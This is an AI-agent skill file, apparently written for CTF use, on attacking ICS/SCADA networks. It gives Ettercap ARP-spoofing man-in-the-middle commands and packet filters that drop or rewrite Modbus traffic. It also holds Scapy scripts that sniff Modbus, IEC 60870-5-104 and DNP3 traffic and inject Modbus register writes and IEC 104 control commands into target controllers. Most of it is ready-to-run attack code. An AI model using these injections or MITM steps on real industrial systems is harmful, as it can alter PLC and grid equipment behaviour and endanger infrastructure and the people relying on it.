ics-traffic
SKILL.md
ICS/SCADA Traffic Analysis and Exploitation
When to Use
Load this skill when:
- Analyzing Industrial Control System (ICS) or SCADA traffic
- Performing MITM attacks on ICS protocols
- Sniffing or injecting Modbus/TCP packets
- Working with IEC 60870-5-104 or DNP3 protocols
- Using Ettercap for ARP spoofing
- Crafting packets with Scapy
Prerequisites
Essential Setup
# Enable IP forwarding (REQUIRED for MITM)
sudo sysctl -w net.ipv4.ip_forward=1
# Verify setting
sysctl net.ipv4.ip_forward # Should return 1
Why? Without IP forwarding, intercepted packets won't be forwarded, causing network disruption and failed MITM.
Check Network Interface
# List available interfaces
ip link show
# Common interface names
# - eth0: Wired Ethernet
# - wlan0: Wireless
# - enp0s3: VirtualBox/VMware NAT
Ettercap MITM Attacks
Basic ARP Spoofing
# Text mode (recommended for CTF)
sudo ettercap -T -i eth0 -M arp:remote /192.168.1.100/ /192.168.1.1/
# │ └─target────┘ └─gateway──┘
# │
# └─ Mode: arp:remote (full duplex MITM)
# GUI mode
sudo ettercap -G
Target Format
| Format | Example | Description |
|---|---|---|
| Single IP | /192.168.1.100/ |
Single target |
| IP range | /192.168.1.1-30/ |
Range of IPs |
| CIDR notation | /192.168.1.0/24/ |
Entire subnet |
| With ports | /192.168.1.100/80,443/ |
Specific ports |
| MAC + IP | /00:11:22:33:44:55/192.168.1.100/ |
MAC and IP |
ARP Spoofing Modes
# Full duplex MITM (recommended)
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/
# One-way poisoning
sudo ettercap -T -i eth0 -M arp:oneway /target/ /gateway/
# Auto-detect targets
sudo ettercap -T -i eth0 -M arp
Capture Traffic to PCAP
# Save intercepted traffic
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -w capture.pcap
# Analyze with Wireshark
wireshark capture.pcap
# Or with tshark
tshark -r capture.pcap -Y "modbus"
Ettercap Filters
Filter Compilation
# Compile filter
sudo etterfilter modbus_filter.etter -o modbus_filter.ef
# Use filter in Ettercap
sudo ettercap -T -i eth0 -M arp:remote /target/ /gateway/ -F modbus_filter.ef
Filter Syntax
// Basic structure
if (condition) {
action;
}
// Common conditions
if (ip.proto == TCP && tcp.dst == 502) {
msg("Modbus packet detected\n");
}
// Check specific bytes
if (ip.proto == TCP && tcp.dst == 502) {
if (DATA.data + 7 == 0x03) { // Function code 0x03 (Read Holding Registers)
msg("Read Holding Registers request\n");
}
}
// Block packets
if (tcp.dst == 502 && DATA.data + 7 == 0x05) { // Write Single Coil
drop();
msg("Blocked Write Single Coil\n");
}
// Modify packets
if (tcp.dst == 502) {
replace("old_value", "new_value");
}
Example: Modbus Write Blocker
// File: modbus_block_writes.etter
if (ip.proto == TCP && tcp.dst == 502) {
// Block write commands
if (DATA.data + 7 == 0x05 || // Write Single Coil
DATA.data + 7 == 0x06 || // Write Single Register
DATA.data + 7 == 0x0F || // Write Multiple Coils
DATA.data + 7 == 0x10) { // Write Multiple Registers
drop();
msg("Blocked Modbus write command\n");
}
}
Common ICS Protocols and Ports
| Protocol | Port | Description | Use Case |
|---|---|---|---|
| Modbus/TCP | 502 | Industrial protocol | PLCs, SCADA systems |
| IEC 60870-5-104 | 2404 | Power grid control | Substation automation |
| DNP3 | 20000 | Utility SCADA | Electric/water utilities |
| OPC UA | 4840 | Industrial IoT | Modern SCADA |
| EtherNet/IP | 44818 | Rockwell automation | Allen-Bradley PLCs |
| S7comm | 102 | Siemens protocol | Siemens PLCs |
Modbus Protocol
Modbus Function Codes
| Code | Function | Type | Risk |
|---|---|---|---|
0x01 |
Read Coils | Read | Low |
0x02 |
Read Discrete Inputs | Read | Low |
0x03 |
Read Holding Registers | Read | Low |
0x04 |
Read Input Registers | Read | Low |
0x05 |
Write Single Coil | Write | High |
0x06 |
Write Single Register | Write | High |
0x0F |
Write Multiple Coils | Write | High |
0x10 |
Write Multiple Registers | Write | High |
Scapy Modbus Sniffer
#!/usr/bin/env python3
"""Sniff Modbus/TCP traffic"""
from scapy.all import *
def modbus_callback(pkt):
"""Process Modbus packets"""
if TCP in pkt and pkt[TCP].dport == 502:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 8:
func_code = payload[7]
func_names = {
0x01: "Read Coils",
0x03: "Read Holding Registers",
0x05: "Write Single Coil",
0x06: "Write Single Register",
0x0F: "Write Multiple Coils",
0x10: "Write Multiple Registers",
}
func_name = func_names.get(func_code, f"Unknown (0x{func_code:02x})")
print(f"[Modbus] {pkt[IP].src} -> {pkt[IP].dst} : {func_name}")
# Sniff on interface
sniff(filter="tcp port 502", prn=modbus_callback, store=0)
Scapy Modbus Injector
#!/usr/bin/env python3
"""Inject Modbus/TCP packets"""
from scapy.all import *
def inject_modbus_write(target_ip, register_addr, value):
"""Inject Write Single Register command"""
# Modbus TCP header
transaction_id = 0x0001
protocol_id = 0x0000
length = 0x0006
unit_id = 0x01
# Modbus PDU
function_code = 0x06 # Write Single Register
# Build packet
modbus_pdu = struct.pack(
">HHHBBB H H",
transaction_id,
protocol_id,
length,
unit_id,
function_code,
register_addr,
value
)
pkt = IP(dst=target_ip)/TCP(dport=502)/Raw(load=modbus_pdu)
send(pkt)
print(f"[+] Injected: Write Register {register_addr} = {value}")
# Usage
inject_modbus_write("192.168.1.100", register_addr=100, value=999)
IEC 60870-5-104 Protocol
Scapy IEC 104 Sniffer
#!/usr/bin/env python3
"""Sniff IEC 60870-5-104 traffic"""
from scapy.all import *
def iec104_callback(pkt):
"""Process IEC 104 packets"""
if TCP in pkt and pkt[TCP].dport == 2404:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 2:
start_byte = payload[0]
if start_byte == 0x68: # IEC 104 APDU start
apdu_len = payload[1]
print(f"[IEC 104] {pkt[IP].src} -> {pkt[IP].dst} : APDU Length {apdu_len}")
sniff(filter="tcp port 2404", prn=iec104_callback, store=0)
IEC 104 Command Injection
#!/usr/bin/env python3
"""Inject IEC 104 control commands"""
from scapy.all import *
def inject_iec104_command(target_ip, ioa, value):
"""Inject single command"""
# IEC 104 APDU structure (simplified)
start = 0x68
length = 0x0E
control_field = 0x0000
type_id = 0x2D # C_SC_NA_1 (Single Command)
apdu = bytes([start, length]) + struct.pack("<H", control_field)
apdu += bytes([type_id, 0x01, 0x06, 0x00]) # SQ=0, NumIX=1
apdu += struct.pack("<I", ioa) # Information Object Address
apdu += bytes([value & 0xFF])
pkt = IP(dst=target_ip)/TCP(dport=2404)/Raw(load=apdu)
send(pkt)
print(f"[+] Injected IEC 104 command: IOA={ioa}, Value={value}")
DNP3 Protocol
Scapy DNP3 Sniffer
#!/usr/bin/env python3
"""Sniff DNP3 traffic"""
from scapy.all import *
def dnp3_callback(pkt):
"""Process DNP3 packets"""
if TCP in pkt and pkt[TCP].dport == 20000:
payload = bytes(pkt[TCP].payload)
if len(payload) >= 10 and payload[0:2] == b'\x05\x64':
print(f"[DNP3] {pkt[IP].src} -> {pkt[IP].dst}")
sniff(filter="tcp port 20000", prn=dnp3_callback, store=0)
Practical Tips
Verify MITM Success
# On target machine, check ARP table
arp -a
# Look for gateway MAC matching attacker's MAC
# Example output:
# ? (192.168.1.1) at AA:BB:CC:DD:EE:FF [ether] on eth0
# └─ Should be attacker's MAC if MITM successful
Restore Network After Attack
# Ettercap automatically restores ARP on exit (Ctrl+C)
# Manual restore (if needed)
sudo arp -d 192.168.1.1 # Delete poisoned entry
Analyze Captured Traffic
# Filter Modbus in Wireshark
tcp.port == 502
# Extract Modbus function codes with tshark
tshark -r capture.pcap -Y "modbus" -T fields -e modbus.func_code
# Count packet types
tshark -r capture.pcap -Y "tcp.port == 502" | wc -l
Quick Reference
| Task | Command |
|---|---|
| Enable IP forward | sudo sysctl -w net.ipv4.ip_forward=1 |
| Basic ARP spoof | sudo ettercap -T -i eth0 -M arp:remote /target/ /gw/ |
| Compile filter | sudo etterfilter filter.etter -o filter.ef |
| Use filter | sudo ettercap -T -i eth0 -F filter.ef -M arp:remote ... |
| Capture PCAP | sudo ettercap -T -i eth0 -M arp -w capture.pcap |
| Sniff Modbus | sudo python3 scapy_scripts/modbus_sniffer.py |
| Check ARP table | arp -a |
Bundled Resources
Scapy Scripts
scapy_scripts/modbus_sniffer.py- Modbus/TCP packet snifferscapy_scripts/modbus_inject.py- Inject Modbus commandsscapy_scripts/modbus_replay.py- Replay captured Modbus trafficscapy_scripts/iec104_sniffer.py- IEC 104 packet snifferscapy_scripts/iec104_inject.py- IEC 104 command injectionscapy_scripts/dnp3_sniffer.py- DNP3 packet sniffer
Ettercap Filters
ettercap_filters/modbus_filter.etter- Log Modbus function codesettercap_filters/modbus_block_writes.etter- Block Modbus write commandsettercap_filters/modbus_read_only.etter- Allow only read operationsettercap_filters/iec104_filter.etter- IEC 104 packet loggingettercap_filters/iec104_block_commands.etter- Block IEC 104 controlettercap_filters/dnp3_block_commands.etter- Block DNP3 commands
References
references/ettercap_usage.md- Comprehensive Ettercap guidereferences/modbus_quickref.md- Modbus protocol referencereferences/ics_ports.md- ICS protocol port reference
Keywords
ICS, SCADA, industrial control systems, Modbus, Modbus/TCP, IEC 60870-5-104, IEC 104, DNP3, Ettercap, ARP spoofing, MITM, man in the middle, Scapy, packet injection, PLC, programmable logic controller, protocol analysis, network security, critical infrastructure
Weekly Installs
10
Repository
g36maid/ctf-arsenalGitHub Stars
4
First Seen
Feb 9, 2026
Security Audits
Installed on
gemini-cli9
antigravity9
github-copilot9
codex9
kimi-cli9
amp9